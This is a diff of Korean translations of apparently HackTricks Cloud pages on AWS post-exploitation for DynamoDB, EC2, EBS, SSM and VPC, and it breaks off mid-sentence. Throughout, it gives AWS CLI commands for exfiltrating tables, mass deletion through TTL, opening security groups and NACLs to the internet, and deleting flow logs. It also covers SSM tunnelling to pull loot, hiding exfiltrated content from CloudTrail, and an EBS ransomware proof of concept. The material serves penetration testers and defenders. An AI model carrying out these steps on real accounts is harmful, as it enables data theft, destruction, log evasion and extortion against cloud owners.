+트랜잭션 쓰기 권한을 가진 attacker는 `TransactWriteItems` 내에서 `Update`를 수행하면서 `ConditionExpression`이 고의로 실패하도록 설정하고 `ReturnValuesOnConditionCheckFailure=ALL_OLD`를 지정하면 기존 항목의 전체 속성을 exfiltrate할 수 있음. 실패 시 DynamoDB는 transaction cancellation reasons에 이전 속성을 포함하므로, 특정 키에 대한 write-only access를 사실상 read access로 전환시킨다. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -411,17 +411,17 @@ print(e.response['CancellationReasons'][0]['Item']) 권한: `dynamodb:TransactWriteItems` on the target table (and the underlying item). 읽기 권한은 필요하지 않습니다. -잠재적 영향: 반환된 취소 이유를 통해 트랜잭션 쓰기 권한만으로 테이블에서 임의의 항목(기본 키 기준)을 읽을 수 있습니다. +잠재적 영향: 반환된 취소 이유를 통해 트랜잭션 쓰기 권한만으로 테이블에서 기본 키로 임의 항목을 읽을 수 있습니다. -### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` GSI에서 -낮은 엔트로피 속성에 `ProjectionType=ALL`인 Global Secondary Index (GSI)를 생성하고, 해당 속성을 항목들 전체에 걸쳐 상수 값으로 설정한 후, 인덱스를 `Query`하여 전체 항목을 가져오는 방식으로 읽기 제한을 우회합니다. 기본 테이블에서 `Query`/`Scan`이 거부되더라도 인덱스 ARN을 쿼리할 수 있다면 이 방법은 동작합니다. +낮은 엔트로피 속성에 `ProjectionType=ALL`인 Global Secondary Index (GSI)를 생성하고, 해당 속성을 항목 전반에 걸쳐 상수 값으로 설정한 다음, 인덱스를 `Query`하여 전체 항목을 가져오면 읽기 제한을 우회할 수 있습니다. 이 방법은 기본 테이블에 대한 `Query`/`Scan`이 거부되더라도 인덱스 ARN을 쿼리할 수 있으면 작동합니다. - 최소 권한: -- `dynamodb:UpdateTable` on the target table (GSI를 `ProjectionType=ALL`로 생성하기 위해). -- `dynamodb:UpdateItem` on the target table keys (각 항목에 인덱싱된 속성을 설정하기 위해). -- 인덱스 리소스 ARN에 대한 `dynamodb:Query` (`arn:aws:dynamodb:::table//index/`). +- `dynamodb:UpdateTable` on the target table (GSI를 `ProjectionType=ALL`으로 생성하기 위해). +- `dynamodb:UpdateItem` on the target table keys (각 항목에 인덱스된 속성을 설정하기 위해). +- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). 단계 (PoC in us-east-1): ```bash @@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Potential Impact:** 새로 생성된 GSI가 모든 속성을 프로젝션(projects)하도록 설정된 경우, base table read APIs가 거부되더라도 해당 GSI를 쿼리해 전체 테이블을 exfiltration할 수 있음. +**잠재적 영향:** 새로 생성된 GSI를 쿼리하여 모든 attributes를 프로젝션하면 전체 테이블 exfiltration이 가능하며, 기본 테이블 읽기 API가 거부된 경우에도 적용됩니다. -### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams를 통한 지속적인 exfiltration) +### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams) -DynamoDB Kinesis streaming destinations를 악용하여 테이블의 변경 사항을 공격자 소유의 Kinesis Data Stream으로 지속적으로 exfiltrate합니다. 활성화되면 모든 INSERT/MODIFY/REMOVE 이벤트가 테이블에 대한 읽기 권한 없이 거의 실시간으로 해당 스트림으로 전달됩니다. +DynamoDB Kinesis streaming destinations를 악용하여 테이블의 변경 사항을 지속적으로 attacker-controlled Kinesis Data Stream으로 exfiltrate합니다. 활성화되면 INSERT/MODIFY/REMOVE 이벤트가 거의 실시간으로 스트림으로 전달되며 테이블에 대한 읽기 권한이 필요하지 않습니다. -최소 권한 (공격자): -- 대상 테이블에 대한 `dynamodb:EnableKinesisStreamingDestination` -- 상태 모니터링을 위해 선택적으로 `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` -- 레코드를 소비하기 위한 공격자 소유의 Kinesis 스트림에 대한 읽기 권한: `kinesis:*` +최소 권한 (attacker): +- `dynamodb:EnableKinesisStreamingDestination` 대상 테이블에 대해 +- 선택적으로 상태 모니터링용 `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` +- 레코드를 소비하기 위한 attacker-owned Kinesis stream에 대한 읽기 권한: `kinesis:*`
PoC (us-east-1) @@ -528,10 +528,45 @@ aws dynamodb disable-kinesis-streaming-destination \ aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` +### `dynamodb:UpdateTimeToLive` + +dynamodb:UpdateTimeToLive 권한을 가진 공격자는 테이블의 TTL (time-to-live) 설정을 변경할 수 있습니다 — TTL을 활성화하거나 비활성화할 수 있습니다. TTL이 활성화되면, 구성된 TTL 속성을 포함하는 각 항목은 만료 시간이 되면 자동으로 삭제됩니다. TTL 값은 각 항목의 또 다른 속성일 뿐이며, 해당 속성이 없는 항목은 TTL 기반 삭제의 영향을 받지 않습니다. + +항목에 TTL 속성이 이미 포함되어 있지 않다면, 공격자는 TTL 속성을 추가하고 대량 삭제를 유발하기 위해 항목을 업데이트할 수 있는 권한(예: dynamodb:UpdateItem)도 필요합니다. + +먼저 테이블에서 TTL을 활성화하고 만료에 사용할 속성 이름을 지정합니다: +```bash +aws dynamodb update-time-to-live \ +--table-name \ +--time-to-live-specification "Enabled=true, AttributeName=" +``` +그런 다음 항목을 업데이트해 TTL 속성(epoch seconds)을 추가하면 만료되어 제거됩니다: +```bash +aws dynamodb update-item \ +--table-name \ +--key '' \ +--update-expression "SET = :t" \ +--expression-attribute-values '{":t":{"N":""}}' +``` +### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` + +dynamodb:RestoreTableFromAwsBackup 또는 dynamodb:RestoreTableToPointInTime 권한을 가진 공격자는 원본 테이블을 덮어쓰지 않고 백업이나 point-in-time recovery (PITR)에서 복원된 새 테이블을 생성할 수 있습니다. 복원된 테이블에는 선택한 시점의 데이터 전체 이미지가 포함되어 있으므로, 공격자는 이를 사용해 historical information을 exfiltrate하거나 데이터베이스의 과거 상태 전체 덤프를 얻을 수 있습니다. + +Restore a DynamoDB table from an on-demand backup: +```bash +aws dynamodb restore-table-from-backup \ +--target-table-name \ +--backup-arn +``` +DynamoDB 테이블을 특정 시점으로 복원(복원된 상태로 새 테이블 생성): +```bash +aws dynamodb restore-table-to-point-in-time \ +--source-table-name \ +--target-table-name \ +--use-latest-restorable-time +````
-**Potential Impact:** 테이블에 대한 직접적인 읽기 작업 없이 공격자가 제어하는 Kinesis 스트림으로 테이블 변경사항을 지속적이고 거의 실시간으로 exfiltration할 수 있음. - - +**잠재적 영향:** 테이블에 대한 직접 읽기 작업 없이 공격자 제어의 Kinesis 스트림으로 테이블 변경 사항을 지속적이고 거의 실시간으로 exfiltration할 수 있음. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 19717a695..4cee25b3b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -12,11 +12,9 @@ ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring는 **VPC 내 EC2 인스턴스의 인바운드 및 아웃바운드 트래픽을 중복 복사**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다.\ -이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 network intrusion detection system (IDS)와 같은 곳으로 전송됩니다.\ -공격자는 이를 악용하여 모든 트래픽을 가로채고 민감한 정보를 획득할 수 있습니다: +VPC traffic mirroring은 **VPC 내의 EC2 인스턴스에 대한 인바운드 및 아웃바운드 트래픽을 복제**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 network intrusion detection system (IDS) 같은 곳으로 전송됩니다. attacker는 이를 악용하여 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다: -자세한 내용은 이 페이지를 확인하세요: +자세한 내용은 다음 페이지를 확인하세요: {{#ref}} aws-malicious-vpc-mirror.md @@ -24,7 +22,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -인스턴스에는 보통 민감한 정보가 포함되어 있습니다. 내부로 접근하는 방법은 여러 가지가 있습니다 (자세한 내용은 [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md) 참조). 하지만, 그 내용물을 확인하는 또 다른 방법은 **AMI를 생성하고 해당 AMI로부터 새 인스턴스(심지어 자신의 계정에서도)를 실행하는 것**입니다: +인스턴스에는 보통 민감한 정보가 포함되어 있습니다. 내부로 접근하는 방법은 여러 가지가 있습니다 (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 그러나 또 다른 방법은 **AMI를 생성하고 해당 AMI로(심지어 자신의 계정에서) 새 인스턴스를 실행**해 그 내용을 확인하는 것입니다: ```shell # List instances aws ec2 describe-images @@ -48,10 +46,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` -### EBS Snapshot dump +### EBS 스냅샷 덤프 -**Snapshots are backups of volumes**는 보통 **민감한 정보**를 포함하므로, 이를 확인하면 해당 정보가 드러납니다. -계정에서 **volume without a snapshot**를 찾으면, **Create a snapshot**을 생성해 다음 작업을 수행하거나 단순히 계정 내에서 **mount it in an instance** 하세요: +**스냅샷은 볼륨의 백업**으로, 보통 **민감한 정보를** 포함하므로 이를 확인하면 해당 정보가 드러납니다.\ +스냅샷이 없는 **볼륨**을 찾으면: **스냅샷을 생성**하고 다음 작업을 수행하거나 계정 내 인스턴스에 단순히 **마운트**할 수 있습니다: {{#ref}} aws-ebs-snapshot-dump.md @@ -59,7 +57,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -`CreateStoreImageTask`를 사용해 EC2 AMI를 S3로 직접 export하여 snapshot sharing 없이 raw disk image를 획득할 수 있습니다. 이렇게 하면 instance의 네트워킹을 건드리지 않고 전체 오프라인 포렌식이나 데이터 탈취가 가능합니다. +EC2 AMI를 `CreateStoreImageTask`로 바로 S3로 내보내 스냅샷 공유 없이 원시 디스크 이미지를 얻습니다. 이렇게 하면 인스턴스 네트워킹을 건드리지 않고 전체 오프라인 포렌식이나 데이터 탈취가 가능합니다. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -67,7 +65,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -io1/io2 Multi-Attach volume을 두 번째 instance에 연결하고 읽기 전용으로 mount하여 snapshot 없이 실시간 데이터를 흡수할 수 있습니다. 피해자의 volume이 동일 AZ 내에서 이미 Multi-Attach가 활성화되어 있을 때 유용합니다. +io1/io2 Multi-Attach 볼륨을 두 번째 인스턴스에 연결하고 읽기 전용으로 마운트하여 스냅샷 없이 실시간 데이터를 추출합니다. 피해 볼륨이 동일 AZ 내에서 이미 Multi-Attach가 활성화된 경우 유용합니다. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -75,7 +73,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -EC2 Instance Connect Endpoint를 생성하고 ingress를 승인한 뒤 ephemeral SSH keys를 주입하여 managed tunnel을 통해 private instances에 접근합니다. 공개 포트를 열지 않고도 빠르게 lateral movement 경로를 확보할 수 있습니다. +EC2 Instance Connect Endpoint를 생성하고 인그레스 권한을 부여한 뒤 일시적 SSH 키를 주입하여 관리형 터널을 통해 프라이빗 인스턴스에 접근합니다. 공개 포트를 열지 않고도 빠른 횡적 이동 경로를 제공합니다. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -83,7 +81,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -피해자 ENI의 secondary private IP를 공격자 제어 ENI로 이동시켜 IP로 allowlisted된 신뢰된 호스트를 가장합니다. 특정 주소에 기반한 internal ACLs 또는 SG rules를 우회할 수 있습니다. +피해 ENI의 보조 private IP를 공격자 제어 ENI로 이동시켜 IP로 허용된 신뢰된 호스트를 사칭할 수 있습니다. 특정 주소에 의해 동작하는 내부 ACL 또는 SG 규칙을 우회하는 데 사용됩니다. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -91,7 +89,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -피해자 instance에서 Elastic IP를 공격자에게 재연결해 인바운드 트래픽을 가로채거나 신뢰된 public IP로 보이는 아웃바운드 연결을 생성합니다. +피해 인스턴스에서 Elastic IP를 공격자에게 재연결하여 수신 트래픽을 가로채거나 신뢰된 공용 IP로부터 발생한 것처럼 보이는 발신 연결을 생성합니다. {{#ref}} aws-eip-hijack-impersonation.md @@ -99,7 +97,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -security group rule이 customer-managed prefix list를 참조하는 경우, 리스트에 attacker CIDRs를 추가하면 SG 자체를 수정하지 않고도 모든 종속 SG rule에 대한 접근을 조용히 확장할 수 있습니다. +만약 security group 규칙이 고객 관리형 prefix list를 참조하는 경우, 공격자 CIDR을 해당 리스트에 추가하면 SG 자체를 수정하지 않고도 모든 의존 규칙에 대해 접근 권한이 은밀하게 확장됩니다. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -107,15 +105,41 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -gateway 또는 interface VPC endpoints를 생성해 격리된 subnets에서 아웃바운드 접근을 회복할 수 있습니다. AWS-managed private links를 활용하면 IGW/NAT 제어가 없더라도 데이터 exfiltration을 우회할 수 있습니다. +게이트웨이 또는 인터페이스 VPC endpoint를 생성하여 격리된 서브넷에서 아웃바운드 접근을 복구합니다. AWS-managed private links를 활용하면 IGW/NAT 제어가 없을 때에도 data exfiltration을 우회할 수 있습니다. {{#ref}} aws-vpc-endpoint-egress-bypass.md {{#endref}} +### `ec2:AuthorizeSecurityGroupIngress` + +ec2:AuthorizeSecurityGroupIngress 권한을 가진 공격자는 security group에 인바운드 규칙을 추가할 수 있습니다(예: 0.0.0.0/0에서 tcp:80 허용). 그 결과 내부 서비스를 공개 인터넷이나 권한 없는 네트워크에 노출시킬 수 있습니다. +```bash +aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 +``` +# `ec2:ReplaceNetworkAclEntry` +ec2:ReplaceNetworkAclEntry (또는 유사한) 권한을 가진 공격자는 서브넷의 Network ACLs (NACLs)을 수정하여 매우 허용적으로 만들 수 있습니다 — 예를 들어 중요한 포트에 0.0.0.0/0을 허용해 서브넷 전체 범위를 인터넷이나 권한 없는 네트워크 세그먼트에 노출시킬 수 있습니다. 인스턴스별로 적용되는 Security Groups와 달리, NACLs는 서브넷 수준에서 적용되므로 제한적인 NACL을 변경하면 훨씬 더 많은 호스트에 대한 접근을 허용해 더 큰 blast radius를 초래할 수 있습니다. +```bash +aws ec2 replace-network-acl-entry \ +--network-acl-id \ +--rule-number 100 \ +--protocol \ +--rule-action allow \ +--egress \ +--cidr-block 0.0.0.0/0 +``` +### `ec2:Delete*` + +ec2:Delete* 및 iam:Remove* 권한을 가진 공격자는 핵심 인프라 리소스와 구성을 삭제할 수 있습니다 — 예를 들어 key pairs, launch templates/versions, AMIs/snapshots, volumes 또는 attachments, security groups 또는 규칙, ENIs/network endpoints, route tables, gateways 또는 managed endpoints 등을 삭제할 수 있습니다. 이는 즉각적인 서비스 중단, 데이터 손실 및 포렌식 증거 손실을 초래할 수 있습니다. + +한 예로 security group을 삭제하는 경우: + +aws ec2 delete-security-group \ +--group-id + ### VPC Flow Logs Cross-Account Exfiltration -VPC Flow Logs를 공격자 제어 S3 버킷으로 지정해 피해자 계정 외부에서 네트워크 메타데이터(출발지/목적지, 포트 등)를 장기간 수집할 수 있습니다. +VPC Flow Logs를 공격자가 제어하는 S3 버킷으로 향하게 하여 피해자 계정 밖에서 네트워크 메타데이터(source/destination, ports)를 지속적으로 수집함으로써 장기적인 정찰을 수행할 수 있습니다. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -125,54 +149,54 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -EC2를 락다운해 아무 트래픽도 나가지 못하게 해도, 여전히 **exfil via DNS**가 가능합니다. +EC2에서 나가는 트래픽을 차단하더라도, 여전히 **exfil via DNS**가 가능합니다. -- **VPC Flow Logs will not record this**. -- AWS DNS logs에 접근할 수 없습니다. +- **VPC Flow Logs은 이를 기록하지 않습니다**. +- AWS DNS 로그에 대한 접근 권한이 없습니다. - 이를 비활성화하려면 "enableDnsSupport"를 false로 설정하세요: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -공격자는 자신이 제어하는 계정의 API endpoints를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하며 공격자는 Cloudtrail 로그에서 exfiltrate된 데이터를 확인할 수 있습니다. +공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하며, 공격자는 Cloudtrail 로그에서 exfiltrate된 데이터를 확인할 수 있습니다. ### Open Security Group -다음과 같이 포트를 열면 네트워크 서비스에 대한 추가 접근을 얻을 수 있습니다: +다음과 같이 포트를 열면 네트워크 서비스에 추가로 접근할 수 있습니다: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -EC2 instance를 실행하고, 이를 ECS instances를 실행하는 데 사용하도록 등록한 후 ECS instances의 데이터를 steal할 수 있습니다. +EC2 instance를 실행하고 등록하여 ECS instances를 실행하는 데 사용하도록 한 다음 ECS instances의 데이터를 탈취할 수 있습니다. -자세한 내용은 [**여기를 확인하세요**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). +자세한 정보는 [**여기에서 확인하세요**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### Remove VPC flow logs +### VPC flow logs 삭제 ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` -### SSM Port Forwarding +### SSM 포트 포워딩 필요 권한: - `ssm:StartSession` -명령 실행 외에도, SSM은 traffic tunneling을 허용하며 이는 Security Groups나 NACLs 때문에 네트워크 접근이 없는 EC2 인스턴스에서 pivot할 때 악용될 수 있습니다. -이 방법이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 private EKS 클러스터로 pivoting 하는 경우입니다. +명령 실행 외에도, SSM은 트래픽 터널링을 허용하여 Security Groups나 NACLs 때문에 네트워크 접근이 없는 EC2 인스턴스에서 이를 악용해 pivoting할 수 있습니다. +이것이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 프라이빗 EKS 클러스터로 pivoting하는 경우입니다. > 세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html -1. 로컬 머신에 SessionManagerPlugin을 설치합니다 -2. 다음 명령을 사용해 Bastion EC2에 로그인합니다: +1. 자신의 머신에 SessionManagerPlugin을 설치하세요 +2. 다음 명령으로 Bastion EC2에 로그인하세요: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Bastion EC2의 AWS 임시 자격증명을 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용하여 얻는다 -4. 자격 증명을 자신의 머신의 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로파일로 전송한다 -5. Bastion EC2로 EKS에 로그인: +3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용해 Bastion EC2의 AWS 임시 자격증명을 얻습니다 +4. 자격증명을 자신의 머신의 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로파일로 전송합니다 +5. Bastion EC2로 EKS에 로그인합니다: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` @@ -181,26 +205,26 @@ aws eks update-kubeconfig --profile bastion-ec2 --region -- ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. `kubectl` 도구의 트래픽은 이제 Bastion EC2를 통해 SSM 터널로 포워딩되며, 다음 명령을 실행하면 본인 머신에서 비공개 EKS 클러스터에 접근할 수 있습니다: +8. `kubectl` 툴의 트래픽이 이제 Bastion EC2를 경유한 SSM 터널을 통해 전달되며, 다음 명령을 실행하면 로컬 머신에서 private EKS cluster에 접근할 수 있습니다: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. +Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). 트래픽이 안전한 AWS SSM 터널을 통해 터널링되므로 어떠한 MitM 공격으로부터도 안전합니다. -마지막으로, 이 기법은 프라이빗 EKS 클러스터를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 커스텀 애플리케이션으로 pivot할 수 있습니다. +마지막으로, 이 기법은 private EKS 클러스터를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 커스텀 애플리케이션으로 피벗할 수 있습니다. --- -#### 빠른 로컬 ↔️ 원격 포트 포워딩 (AWS-StartPortForwardingSession) +#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) -만약 **EC2 인스턴스에서 로컬 호스트로 하나의 TCP 포트만** 포워딩하면 된다면, `AWS-StartPortForwardingSession` SSM 문서를 사용할 수 있습니다(원격 호스트 파라미터 불필요): +만약 **EC2 인스턴스에서 로컬 호스트로 하나의 TCP 포트만 포워딩**하면 된다면 `AWS-StartPortForwardingSession` SSM 문서를 사용할 수 있습니다 (원격 호스트 파라미터 불필요): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -이 명령은 워크스테이션(`localPortNumber`)과 인스턴스의 선택된 포트(`portNumber`) 사이에 양방향 터널을 설정합니다 **인바운드 Security-Group 규칙을 열지 않고**. +The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**. Common use cases: @@ -211,13 +235,13 @@ Common use cases: python3 -m http.server 8000 ``` -2. 워크스테이션에서 SSM 터널을 통해 파일을 가져옵니다: +2. 로컬 워크스테이션에서 SSM 터널을 통해 파일을 가져옵니다: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **내부 웹 애플리케이션에 접근하기 (e.g. Nessus)** +* **내부 웹 애플리케이션에 접근 (예: Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -225,7 +249,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -팁: 증거를 유출하기 전에 압축하고 암호화하여 CloudTrail이 평문 내용을 기록하지 않도록 하세요: +팁: 증거를 exfiltrating하기 전에 압축하고 암호화하여 CloudTrail이 clear-text 내용을 로그에 남기지 않도록 하세요: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -236,7 +260,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### 공개 및 비공개 AMIs에서 민감한 정보 검색 -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel은 **공개 또는 비공개 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색**하도록 설계된 도구입니다. 이는 대상 AMIs에서 인스턴스를 시작하고 해당 볼륨을 마운트한 뒤 잠재적인 secrets 또는 민감한 데이터를 스캔하는 과정을 자동화합니다. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel은 **공개 또는 비공개 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색**하도록 설계된 도구입니다. 대상 AMIs에서 instances를 실행하고, volumes를 마운트하며, 잠재적인 secrets 또는 민감한 데이터를 스캔하는 과정을 자동화합니다. ### EBS Snapshot 공유 ```bash @@ -244,9 +268,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -S3 post-exploitation notes에 시연된 Ransomware 데모와 유사한 개념 증명입니다. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하는 것이 얼마나 쉬운지 때문에 Ransomware Management Service(줄여서 RMS)로 이름을 바꿔야 합니다. +S3 post-exploitation 노트에 시연된 Ransomware 데모와 유사한 PoC입니다. KMS는 여러 AWS 서비스를 손쉽게 암호화하는 용도로 쓰이므로 Ransomware Management Service라는 의미에서 RMS로 이름을 바꿔야 할 정도입니다. -먼저 'attacker' AWS 계정에서 KMS에 customer managed key를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 하겠지만, 현실적인 시나리오에서는 악의적 행위자가 AWS의 관리 범위를 벗어나 키 데이터를 보관할 것입니다. key policy를 변경하여 모든 AWS 계정 Principal이 키를 사용할 수 있도록 허용하세요. 이 key policy의 경우 계정 이름은 'AttackSim'였고, 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 불립니다. +먼저 'attacker' AWS 계정에서 KMS에 customer managed key를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 했지만, 현실적인 시나리오에서는 malicious actor가 키 데이터를 AWS의 통제 밖에 보관할 것입니다. 키 정책을 변경하여 모든 AWS 계정 Principal이 해당 키를 사용할 수 있도록 허용합니다. 이 키 정책에서 계정 이름은 'AttackSim'이며 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'입니다. ``` { "Version": "2012-10-17", @@ -338,7 +362,7 @@ S3 post-exploitation notes에 시연된 Ransomware 데모와 유사한 개념 ] } ``` -키 정책 규칙은 EBS 볼륨을 암호화하는 데 사용될 수 있도록 다음 항목들이 활성화되어 있어야 합니다: +EBS 볼륨을 암호화하는 데 이 키 정책 규칙을 사용하려면 다음 항목들이 활성화되어 있어야 합니다: - `kms:CreateGrant` - `kms:Decrypt` @@ -346,21 +370,21 @@ S3 post-exploitation notes에 시연된 Ransomware 데모와 유사한 개념 - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -이제 공개적으로 접근 가능한 키를 사용할 수 있습니다. 암호화 대상은 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스들이 있는 'victim' 계정을 사용할 수 있습니다. 이 'victim' 계정의 EBS 볼륨들이 우리가 암호화하려는 대상이며, 이 공격은 높은 권한을 가진 AWS 계정이 침해되었다는 가정 하에 진행됩니다. +이제 공개적으로 접근 가능한 키를 사용할 수 있게 되었습니다. 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스가 몇 대 있는 'victim' 계정을 이용할 수 있습니다. 이 'victim' 계정의 EBS 볼륨들이 우리가 암호화하려는 대상이며, 이 공격은 높은 권한을 가진 AWS 계정이 침해된 것으로 가정하고 진행합니다. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -S3 ransomware 예제와 유사하게, 이 공격은 스냅샷을 사용해 연결된 EBS 볼륨의 복사본을 만들고, 'attacker' 계정의 공개 키를 사용해 새 EBS 볼륨들을 암호화한 다음, 원본 EBS 볼륨들을 EC2 인스턴스에서 분리하여 삭제하고, 이후 새로 암호화된 EBS 볼륨을 만드는 데 사용된 스냅샷들을 삭제합니다. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 ransomware 예시와 유사하게, 이 공격은 연결된 EBS 볼륨의 복사본을 snapshots를 이용해 생성하고, 'attacker' 계정의 공개 가능한 키로 새 EBS 볼륨을 암호화한 다음 원본 EBS 볼륨을 EC2 인스턴스에서 